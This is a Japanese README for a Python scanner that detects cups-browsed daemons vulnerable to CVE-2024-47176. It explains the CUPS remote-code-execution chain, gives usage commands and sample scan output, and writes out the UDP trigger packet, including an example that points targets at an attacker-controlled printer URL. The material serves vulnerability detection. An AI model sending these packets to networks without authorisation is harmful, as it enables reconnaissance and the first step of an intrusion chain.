
ネットワーク上の脆弱なcups-browsedインスタンスを特定するためのシンプルなスキャナ
使用例: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) は、UNIXおよびUNIX系システム上でプリンタを管理・制御するためのオープンソースフレームワークです。 これは最も広く使用されているプリント用ライブラリの一つであり、UNIX、Linux、および一部のAppleデバイスでサポートされています。
CUPSにはいくつかの重大な脆弱性が見つかっており、これらを連鎖させるとリモートコード実行につながる可能性があります。 対象となるCVEは、CVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177です。
これらの脆弱性により、リモートの攻撃者はネットワークプリンタを追加または再設定し、ユーザーがそれらを使って印刷しようとすると任意のコードが実行されるように仕向けることができます。
連鎖の最初の脆弱性であるCVE-2024-47176は、cups-browsedデーモンの欠陥です。
この脆弱性は、cups-browsedがその制御ポート(UDPポート631)をINADDR_ANYにバインドし、外部に公開してしまうことに起因します。 リクエストは認証されないため、制御ポートに到達できる者は誰でもcups-browsedにプリンタ探索を実行させることができます。
ポートがインターネットから到達不能な場合(ファイアウォールやNATによる)でも、ローカルネットワーク経由では到達可能なことがあり、権限昇格や横移動を可能にします。 そのため、私はローカルネットワーク上で脆弱なcups-browsedインスタンスをスキャンするためのこのスキャナを作成しました。
通常、攻撃者はUDPポート631のcups-browsedに対して特別に細工したリクエストを送信し、自身が制御する悪意のあるURLにアクセスさせることから悪用プロセスを開始します。
例えば、次の内容を含むUDPパケット 0 3 http://<attacker_server>/printers/malicious_printer は、cups-browsedに http://<attacker_server>/printers/malicious_printer へのHTTPリクエストを発行させます。
そのURLが悪意のあるプリンタとして応答した場合、残りのCVEを連鎖させてリモートコード実行を達成できる可能性があります。
この仕組みを使うことで、脆弱なcups-browsedインスタンスに、自前のサーバーへHTTPリクエスト(コールバック)を発行させ、自身が脆弱であることを識別させることができます。
スキャン処理は以下の通りです:
/printers/ エンドポイントへのPOSTリクエストをログに記録します。HTTPサーバーが 10.0.0.1:1337 でホストされている場合、UDPパケットは次のようになります: 0 3 http://10.0.0.1:1337/printers/test1234
このPythonスキャナは、(HTTPサーバーとスキャンの両方を)すべて自動で処理します。
このスクリプトは、指定されたIPとポートで http.server を介して一時的なHTTPサーバーを起動し、指定された範囲内のすべてのIPにUDPパケットを構築して送信します。 HTTPサーバーは脆弱なcups-browsedインスタンスからのコールバックを自動的にキャプチャし、ディスクにログを記録します。
ユーザーフレンドリーなログは logs/cups.log に書き込まれ、生のHTTPリクエストは logs/requests.log に書き込まれます。
--target
スキャン対象のCIDR。単一のCIDRまたはカンマ区切りの複数のCIDRを指定できます。
--callback HTTPサーバーをホストするローカルIPとポート(ターゲット範囲から到達可能である必要があります)
--scan-unsafe デフォルトでは、割り当て可能なホストアドレスのみをスキャンします(ネットワークアドレスとブロードキャストアドレスは除外されます)。
場合によってはこれらのアドレスをスキャンすることが望ましいこともあるため、この動作は --scan-unsafe フラグで上書きできます。
IPアドレス 10.0.0.1 からCIDR 10.0.0.0/24 をスキャンし、コールバックサーバーを 1337 でホストする場合:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
IPアドレス 10.0.0.1 から複数のCIDRをスキャンし、コールバックサーバーを 1337 でホストする場合:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
注: コールバックサーバーのIPはスキャン実行ホストに属している必要があり、ポートはすべてのターゲットIPから到達可能である必要があります。
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
詳細については、公式CUPS脆弱性レポート を参照してください。